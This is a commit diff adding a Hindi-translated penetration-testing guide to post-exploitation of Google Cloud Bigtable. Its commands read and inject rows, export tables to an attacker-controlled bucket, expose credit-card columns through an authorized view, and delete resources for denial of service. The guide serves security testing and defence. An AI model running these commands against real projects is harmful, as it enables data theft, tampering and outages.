Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta

This commit is contained in:
Translator
2025-11-19 14:47:54 +00:00
parent 7033d5e215
commit 3c4e40c3d7
4 changed files with 497 additions and 2 deletions

View File

@@ -0,0 +1,250 @@
# GCP - Bigtable Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Bigtable के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
> [!TIP]
> ताकि नीचे दिए गए कमांड लोकली काम करें, Cloud SDK के माध्यम से एक बार `cbt` CLI इंस्टॉल करें:
>
> ```bash
> gcloud components install cbt
> ```
### पंक्तियाँ पढ़ें
**अनुमतियाँ:** `bigtable.tables.readRows`
`cbt` Cloud SDK के साथ आता है और बिना किसी middleware के admin/data APIs से बात करता है। इसे समझौता किया गया प्रोजेक्ट/इंस्टेंस की ओर पॉइंट करें और टेबल से सीधे पंक्तियाँ निकालें। अगर आपको सिर्फ एक नज़र चाहिए तो स्कैन सीमित करें।
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
### पंक्तियाँ लिखें
**अनुमतियाँ:** `bigtable.tables.mutateRows`, (परिवर्तन की पुष्टि करने के लिए आपको `bigtable.tables.readRows` की आवश्यकता होगी).
इसी टूल का उपयोग करके किसी भी सेल को upsert करें। यह backdoor configs, drop web shells, या plant poisoned dataset rows लगाने का सबसे तेज़ तरीका है।
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set` `@/path` सिंटैक्स के माध्यम से कच्चे बाइट्स स्वीकार करता है, इसलिए आप compiled payloads या serialized protobufs ठीक वैसे ही पुश कर सकते हैं जैसे downstream services उम्मीद करते हैं।
### अपनी bucket में rows डंप करें
**अनुमतियाँ:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
यह संभव है कि आप पूरे table की सामग्री को attacker द्वारा नियंत्रित किसी bucket में exfiltrate कर सकें, एक Dataflow job लॉन्च करके जो rows को आपके नियंत्रित GCS bucket में stream करता है।
> [!NOTE]
> ध्यान दें कि आपको permission `iam.serviceAccounts.actAs` उस SA पर चाहिए होगा जिसके पास export करने के लिए पर्याप्त permissions हों (डिफ़ॉल्ट रूप से, यदि अन्यथा निर्दिष्ट नहीं किया गया है, तो default compute SA का उपयोग किया जाएगा).
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
> [!NOTE]
> यदि आप JSON की बजाय Parquet/SequenceFile आउटपुट चाहते हैं तो टेम्पलेट को `Cloud_Bigtable_to_GCS_Parquet` या `Cloud_Bigtable_to_GCS_SequenceFile` में बदलें। अनुमतियाँ समान रहती हैं; केवल टेम्पलेट पाथ बदलता है।
### पंक्तियाँ इम्पोर्ट करें
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
एक Dataflow job लॉन्च करके जो पंक्तियों को आपके नियंत्रित GCS bucket में स्ट्रीम करता है, हमलावर द्वारा नियंत्रित एक bucket से पूरे टेबल की सामग्री आयात करना संभव है। इसके लिए हमलावर को पहले अपेक्षित schema के साथ आयात किए जाने वाले डेटा वाली एक parquet फ़ाइल बनानी होगी। हमलावर पिछली तकनीक का अनुसरण करके `Cloud_Bigtable_to_GCS_Parquet` सेटिंग के साथ डेटा को parquet फ़ॉर्मेट में पहले export कर सकता है और डाउनलोड की गई parquet फ़ाइल में नई प्रविष्टियाँ जोड़ सकता है।
> [!NOTE]
> ध्यान दें कि export करने के लिए आपको पर्याप्त permissions वाले किसी SA पर `iam.serviceAccounts.actAs` permission की आवश्यकता होगी (डिफ़ॉल्ट रूप से, यदि अन्यथा सूचित न किया गया हो, तो डिफ़ॉल्ट compute SA का उपयोग किया जाएगा)।
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
### बैकअप पुनर्स्थापना
**अनुमतियाँ:** `bigtable.backups.restore`, `bigtable.tables.create`.
इन अनुमतियों वाले attacker अपने नियंत्रण में एक नए टेबल में बैकअप पुनर्स्थापित कर सकता है ताकि वह पुराने संवेदनशील डेटा को पुनर्प्राप्त कर सके।
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
### टेबल्स को पुनर्स्थापित करें
**अनुमतियाँ:** `bigtable.tables.undelete`
Bigtable soft-deletion को ग्रेस पीरियड (आमतौर पर डिफ़ॉल्ट रूप से 7 दिन) के साथ सपोर्ट करता है। इस विंडो के दौरान, `bigtable.tables.undelete` permission रखने वाला attacker हाल ही में डिलीट किए गए टेबल को restore कर सकता है और उसके सभी डेटा को recover कर सकता है, जिससे संभावित रूप से ऐसी संवेदनशील सूचनाएँ तक पहुँच बन सकती है जिन्हें नष्ट माना गया था।
यह विशेष रूप से उपयोगी है:
- incident response के दौरान defenders द्वारा डिलीट किए गए टेबल्स से डेटा recover करने के लिए
- जानबूझकर purge किए गए ऐतिहासिक डेटा तक पहुँचने के लिए
- आकस्मिक या malicious deletions को reverse करके persistence बनाए रखने के लिए
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
> [!NOTE]
> undelete ऑपरेशन केवल कॉन्फ़िगर की गई retention अवधि (डिफ़ॉल्ट 7 दिन) के भीतर ही काम करता है। इस विंडो के समाप्त होने के बाद, तालिका और इसके डेटा को स्थायी रूप से हटा दिया जाता है और इस विधि के माध्यम से पुनर्प्राप्त नहीं किया जा सकता।
### Authorized Views बनाएँ
**अनुमतियाँ:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
Authorized views आपको तालिका का एक curated उपसमुच्चय दर्शाने देती हैं। least privilege का पालन करने के बजाय, इनका उपयोग उस **बिलकुल वही संवेदनशील कॉलम/पंक्ति सेट** को प्रकाशित करने के लिए करें जिनकी आपको आवश्यकता है और अपने स्वयं के principal को whitelist करें।
> [!WARNING]
> समस्या यह है कि एक authorized view बनाने के लिए आपको base table में rows पढ़ने और mutate करने की क्षमता भी चाहिए; इसलिए आपको कोई अतिरिक्त अनुमति प्राप्त नहीं होती — इसलिए यह तकनीक अधिकांशतः अनुपयोगी है।
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF
gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
क्योंकि access view तक स्कोप किया जाता है, defenders अक्सर इस बात को अनदेखा कर देते हैं कि आपने अभी-अभी एक नया high-sensitivity endpoint बना दिया है।
### Authorized Views पढ़ें
**अनुमतियाँ:** `bigtable.authorizedViews.readRows`
यदि आपके पास किसी Authorized View तक access है, तो आप Bigtable client libraries का उपयोग करके और अपने read requests में authorized view का नाम निर्दिष्ट करके उससे डेटा पढ़ सकते हैं। ध्यान रखें कि authorized view सम्भवतः तालिका से आप जो access कर सकते हैं उसे सीमित करेगा। नीचे Python का उपयोग करते हुए एक उदाहरण दिया गया है:
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
### Denial of Service via Delete Operations
**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
Bigtable के किसी भी delete permissions का उपयोग denial of service attacks के लिए किया जा सकता है। इन permissions वाले हमलावर महत्वपूर्ण Bigtable resources को हटाकर संचालन में व्यवधान डाल सकते हैं:
- **`bigtable.appProfiles.delete`**: application profiles को हटाना, जिससे क्लाइंट कनेक्शन और राउटिंग कॉन्फ़िगरेशन टूट सकते हैं
- **`bigtable.authorizedViews.delete`**: authorized views को हटाना, जिससे applications के वैध एक्सेस पाथ कट सकते हैं
- **`bigtable.authorizedViews.deleteTagBinding`**: authorized views से tag bindings हटाना
- **`bigtable.backups.delete`**: backup snapshots नष्ट करना, जिससे disaster recovery विकल्प खत्म हो जाते हैं
- **`bigtable.clusters.delete`**: संपूर्ण clusters को हटाना, जिससे तुरंत डेटा उपलब्धता बाधित हो जाती है
- **`bigtable.instances.delete`**: पूरे Bigtable instances को हटाना, जिससे सभी tables और configurations मिट जाते हैं
- **`bigtable.tables.delete`**: व्यक्तिगत tables को हटाना, जिससे डेटा लॉस और application failures होते हैं
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>
# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>
# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>
# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>
# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
> [!WARNING]
> हटाने के ऑपरेशन अक्सर तुरंत और अपरिवर्तनीय होते हैं। इन कमांड्स का परीक्षण करने से पहले बैकअप मौजूद होने की पुष्टि करें, क्योंकि ये स्थायी डेटा हानि और严重 सेवा व्यवधान का कारण बन सकते हैं।
{{#include ../../../banners/hacktricks-training.md}}